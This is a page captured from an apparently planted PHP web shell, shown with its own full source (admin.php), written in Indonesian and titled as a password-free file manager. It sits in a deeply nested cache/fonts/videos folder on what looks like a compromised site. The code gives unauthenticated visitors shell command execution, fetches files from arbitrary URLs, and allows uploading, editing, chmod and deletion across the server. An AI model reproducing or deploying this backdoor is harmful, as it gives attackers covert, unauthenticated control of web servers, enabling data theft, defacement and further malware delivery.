File Manager
— Path:
/home/sudairsocs/www/Partenaires/dist/modules/2024/cache/fonts/videos/v3/szdu
Refresh
↑ Naik
CMD
Wget
Logout
Upload File
Buat Folder
Buat File
Nama
Tipe
Ukuran
Izin
Diubah
Aksi
admin.php
file
16.6 KB
0644
2026-07-03 11:55
Edit
Download
Rename
Chmod
Delete
Edit File: admin.php
<?php /** * File Manager Tanpa Password * Langsung akses file manager */ error_reporting(0); @ini_set('display_errors', 0); session_start(); // Hapus session login lama jika ada if (isset($_SESSION['login_user'])) { unset($_SESSION['login_user']); } // Handle AJAX Rename (tetap dipertahankan) if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax']) && $_POST['ajax'] === 'rename_inline') { $dir = isset($_POST['dir']) ? $_POST['dir'] : ''; $old = isset($_POST['old']) ? $_POST['old'] : ''; $new = isset($_POST['new']) ? $_POST['new'] : ''; $dir = @realpath($dir) ? @realpath($dir) : $dir; $oldPath = $dir . DIRECTORY_SEPARATOR . $old; $newPath = $dir . DIRECTORY_SEPARATOR . $new; $resp = ['ok' => false, 'msg' => 'Rename failed']; if ($old === '' || $new === '' || $dir === '') { $resp['msg'] = 'Invalid parameters'; } elseif (!file_exists($oldPath)) { $resp['msg'] = 'Original item not found'; } elseif (@rename($oldPath, $newPath)) { $resp['ok'] = true; $resp['msg'] = 'Rename success'; } else { $resp['msg'] = 'Rename error (permissions?)'; } header('Content-Type: application/json'); echo json_encode($resp); exit; } show_file_manager(); exit; // ==================== FUNGSI UTAMA FILE MANAGER ==================== function safe_download_to($url, $dest) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 60, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' ]); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { return @file_put_contents($dest, $data) !== false; } } else { $data = @file_get_contents($url); if ($data !== false) { return @file_put_contents($dest, $data) !== false; } } return false; } function show_file_manager() { $BASE_DIR = getcwd(); $dir = $_GET['dir'] ?? $BASE_DIR; $dir = @realpath($dir) ?: $BASE_DIR; $files = @scandir($dir) ?: []; $chmod_msg = ''; // ==================== POST HANDLER ==================== if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['buatfolder']) && trim($_POST['newfolder']) !== '') { @mkdir($dir . DIRECTORY_SEPARATOR . trim($_POST['newfolder']), 0755); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['buatfile']) && trim($_POST['newfile']) !== '') { @touch($dir . DIRECTORY_SEPARATOR . trim($_POST['newfile'])); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['upload']) && !empty($_FILES['upload_file'])) { $f = $_FILES['upload_file']; for ($i = 0; $i < count($f['name']); $i++) { if ($f['error'][$i] === UPLOAD_ERR_OK) { $name = basename($f['name'][$i]); @move_uploaded_file($f['tmp_name'][$i], $dir . DIRECTORY_SEPARATOR . $name); } } header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['wget_submit']) && !empty($_POST['wget_url']) && !empty($_POST['wget_name'])) { $dest = $dir . DIRECTORY_SEPARATOR . basename(trim($_POST['wget_name'])); safe_download_to(trim($_POST['wget_url']), $dest); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['ch']) && isset($_GET['chmod'])) { $item = $_GET['chmod']; $perm_str = trim($_POST['perm']); if (preg_match('/^[0-7]{3,4}$/', $perm_str)) { $perm = octdec($perm_str); $target = $dir . DIRECTORY_SEPARATOR . $item; if (@chmod($target, $perm)) { $chmod_msg = "Chmod berhasil: $perm_str"; } else { $chmod_msg = "Gagal chmod pada $item"; } } } } // Delete handler if (isset($_GET['delete'])) { $del = $dir . DIRECTORY_SEPARATOR . $_GET['delete']; is_dir($del) ? @rmdir($del) : @unlink($del); header("Location: ?dir=" . urlencode($dir)); exit; } // Download handler if (isset($_GET['action']) && $_GET['action'] === 'download' && isset($_GET['item'])) { $target = $dir . DIRECTORY_SEPARATOR . $_GET['item']; if (is_file($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } } // Command Execution $cmd_output = ''; if (isset($_POST['exec']) && !empty($_POST['cmd'])) { $cmd = trim($_POST['cmd']); if (preg_match('/[;&|`$]/', $cmd)) { $cmd_output = "Command berbahaya tidak diizinkan."; } else { $safe_dir = escapeshellarg($dir); $full_cmd = "cd $safe_dir && $cmd 2>&1"; if (function_exists('shell_exec')) { $cmd_output = @shell_exec($full_cmd); } elseif (function_exists('exec')) { $out = []; @exec($full_cmd, $out); $cmd_output = implode("\n", $out); } else { $cmd_output = "Shell execution disabled by server."; } } } // Pisahkan folder dan file $dirs = $files_list = []; foreach ($files as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; is_dir($path) ? $dirs[] = $item : $files_list[] = $item; } natcasesort($dirs); natcasesort($files_list); $refresh_url = '?dir=' . urlencode($dir); ?> <!doctype html> <html lang="id"> <head> <meta charset="utf-8"> <title>File Manager</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body {font-family: system-ui, Arial, sans-serif; background:#071022; color:#e6eef8; margin:0; padding:16px;} .bar {display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:10px;} .btn {background:#0ea5a4; color:#012; padding:8px 14px; border-radius:6px; text-decoration:none; font-weight:600; cursor:pointer;} .btn-alt {background:#0369a1;} .btn-danger {background:#ef4444;} .box {background:#021126; padding:16px; border-radius:8px;} table {width:100%; border-collapse:collapse; margin:12px 0;} th, td {padding:10px; text-align:left; border-bottom:1px solid #072032;} th {background:#041a38; color:#a5d8ff;} tr:hover {background:#0a2540;} .dir-row td {color:#7dd3fc; font-weight:500;} .actions {display:flex; gap:6px; flex-wrap:wrap;} .notice {padding:10px; border-radius:6px; margin:10px 0;} .success {background:#1a3c34; color:#a5f3c0;} .error {background:#3c1a1a; color:#fca5a5;} pre {background:#001219; color:#cff7ff; padding:12px; border-radius:6px; overflow:auto; font-size:13px;} .inline-input {padding:8px; border:1px solid #123; background:#041026; color:#e6eef8; border-radius:5px;} .link {color:#7dd3fc; text-decoration:none;} .link:hover {text-decoration:underline;} </style> <script> function startRename(dir, oldName, elId) { const cell = document.getElementById(elId); if (!cell) return; cell.innerHTML = `<input type="text" value="${oldName}" class="inline-input" id="rename_input"> <button class="btn btn-alt" onclick="doRename('${dir}','${oldName}','${elId}')">OK</button> <button class="btn" onclick="location.reload()">Batal</button>`; } function doRename(dir, oldName, elId) { const newName = document.getElementById('rename_input').value.trim(); if (!newName || newName === oldName) return location.reload(); const xhr = new XMLHttpRequest(); xhr.open('POST', '?', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); const params = `ajax=rename_inline&dir=${encodeURIComponent(dir)}&old=${encodeURIComponent(oldName)}&new=${encodeURIComponent(newName)}`; xhr.onreadystatechange = () => { if (xhr.readyState === 4) { try { const res = JSON.parse(xhr.responseText); if (res.ok) location.reload(); else alert('Gagal: ' + res.msg); } catch(e) { alert('Error server'); } } }; xhr.send(params); } </script> </head> <body> <div class="bar"> <div><strong>File Manager</strong> — Path: <span style="color:#94a3b8"><?= htmlspecialchars($dir) ?></span></div> <div> <a class="btn" href="<?= $refresh_url ?>">Refresh</a> <a class="btn btn-alt" href="?dir=<?= urlencode(dirname($dir)) ?>">↑ Naik</a> <a class="btn btn-alt" href="?dir=<?= urlencode($dir) ?>&cmd=1">CMD</a> <a class="btn btn-alt" href="?dir=<?= urlencode($dir) ?>&wget=1">Wget</a> <a class="btn btn-danger" href="?logout=1" onclick="return confirm('Keluar?')">Logout</a> </div> </div> <div class="box"> <?php if ($chmod_msg): ?> <div class="notice <?= strpos($chmod_msg, 'berhasil') !== false ? 'success' : 'error' ?>"> <?= htmlspecialchars($chmod_msg) ?> </div> <?php endif; ?> <!-- Upload & Create --> <div style="margin:16px 0; display:flex; gap:12px; flex-wrap:wrap; align-items:center"> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload_file[]" multiple> <button class="btn" name="upload">Upload File</button> </form> <form method="post"> <input class="inline-input" name="newfolder" placeholder="Nama folder baru" style="width:200px"> <button class="btn btn-alt" name="buatfolder">Buat Folder</button> </form> <form method="post"> <input class="inline-input" name="newfile" placeholder="Nama file baru" style="width:200px"> <button class="btn btn-alt" name="buatfile">Buat File</button> </form> </div> <?php if (isset($_GET['wget'])): ?> <h4>Wget / Download dari URL</h4> <form method="post" style="display:flex; gap:8px; flex-wrap:wrap"> <input class="inline-input" name="wget_url" placeholder="https://..." style="flex:1; min-width:300px"> <input class="inline-input" name="wget_name" placeholder="nama_file.ext" style="width:200px"> <button class="btn" name="wget_submit">Download</button> </form> <?php endif; ?> <?php if (isset($_GET['cmd'])): ?> <h4>Execute Command</h4> <form method="post" style="display:flex; gap:8px"> <input class="inline-input" name="cmd" placeholder="ls -la atau whoami" style="flex:1; min-width:350px"> <button class="btn btn-alt" name="exec">Jalankan</button> </form> <?php if ($cmd_output !== ''): ?> <h5>Output:</h5> <pre><?= htmlspecialchars($cmd_output) ?></pre> <?php endif; ?> <?php endif; ?> <!-- Daftar Folder & File --> <?php if (!empty($dirs) || !empty($files_list)): ?> <table> <thead> <tr><th>Nama</th><th>Tipe</th><th>Ukuran</th><th>Izin</th><th>Diubah</th><th>Aksi</th></tr> </thead> <tbody> <?php foreach ($dirs as $it): $full = $dir . DIRECTORY_SEPARATOR . $it; $perm = substr(sprintf('%o', @fileperms($full)), -4); $safeId = 'd_' . md5($it); ?> <tr class="dir-row"> <td><a class="link" href="?dir=<?= urlencode($full) ?>">📁 <?= htmlspecialchars($it) ?></a></td> <td>dir</td><td>-</td> <td><?= htmlspecialchars($perm) ?></td> <td><?= date('Y-m-d H:i', @filemtime($full)) ?></td> <td class="actions"> <a href="javascript:void(0)" onclick="startRename('<?= addslashes($dir) ?>','<?= addslashes($it) ?>','<?= $safeId ?>')">Rename</a> <a href="?dir=<?= urlencode($dir) ?>&chmod=<?= urlencode($it) ?>">Chmod</a> <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($it) ?>" onclick="return confirm('Hapus folder ini?')" style="color:#ff6b6b">Delete</a> </td> </tr> <tr><td colspan="6" id="<?= $safeId ?>"></td></tr> <?php endforeach; ?> <?php $i = 0; foreach ($files_list as $it): $full = $dir . DIRECTORY_SEPARATOR . $it; $size = @filesize($full) ?: 0; $size_str = $size >= 1048576 ? round($size/1048576,1).' MB' : ($size >= 1024 ? round($size/1024,1).' KB' : $size.' B'); $perm = substr(sprintf('%o', @fileperms($full)), -4); $safeId = 'f_' . $i++; ?> <tr class="file-row"> <td><a class="link" href="?dir=<?= urlencode($dir) ?>&view=<?= urlencode($it) ?>"><?= htmlspecialchars($it) ?></a></td> <td>file</td> <td><?= $size_str ?></td> <td><?= htmlspecialchars($perm) ?></td> <td><?= date('Y-m-d H:i', @filemtime($full)) ?></td> <td class="actions"> <a href="?dir=<?= urlencode($dir) ?>&view=<?= urlencode($it) ?>">Edit</a> <a href="?dir=<?= urlencode($dir) ?>&action=download&item=<?= urlencode($it) ?>">Download</a> <a href="javascript:void(0)" onclick="startRename('<?= addslashes($dir) ?>','<?= addslashes($it) ?>','<?= $safeId ?>')">Rename</a> <a href="?dir=<?= urlencode($dir) ?>&chmod=<?= urlencode($it) ?>">Chmod</a> <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($it) ?>" onclick="return confirm('Hapus file ini?')" style="color:#ff6b6b">Delete</a> </td> </tr> <tr><td colspan="6" id="<?= $safeId ?>"></td></tr> <?php endforeach; ?> </tbody> </table> <?php else: ?> <div class="notice" style="text-align:center">Folder ini kosong.</div> <?php endif; ?> <!-- Chmod Panel --> <?php if (isset($_GET['chmod'])): $item = $_GET['chmod']; $target = $dir . DIRECTORY_SEPARATOR . $item; $cur_perm = substr(sprintf('%o', @fileperms($target)), -4); ?> <h4>Chmod: <?= htmlspecialchars($item) ?> (Sekarang: <?= $cur_perm ?>)</h4> <form method="post" style="display:flex; gap:10px"> <input class="inline-input" name="perm" value="<?= htmlspecialchars($cur_perm) ?>" style="width:120px" pattern="[0-7]{3,4}"> <button class="btn btn-alt" name="ch">Apply Chmod</button> </form> <?php endif; ?> <!-- Edit File --> <?php if (isset($_GET['view'])): $file = $dir . DIRECTORY_SEPARATOR . $_GET['view']; if (is_file($file)): $content = @file_get_contents($file); ?> <h4>Edit File: <?= htmlspecialchars(basename($file)) ?></h4> <form method="post"> <textarea name="content" rows="18" style="width:100%; background:#001219; color:#e6eef8; font-family:monospace; padding:12px; border:1px solid #123; border-radius:6px"><?= htmlspecialchars($content) ?></textarea><br><br> <button class="btn" name="save">Simpan Perubahan</button> </form> <?php endif; endif; ?> </div> </body> </html> <?php } ?>
Simpan Perubahan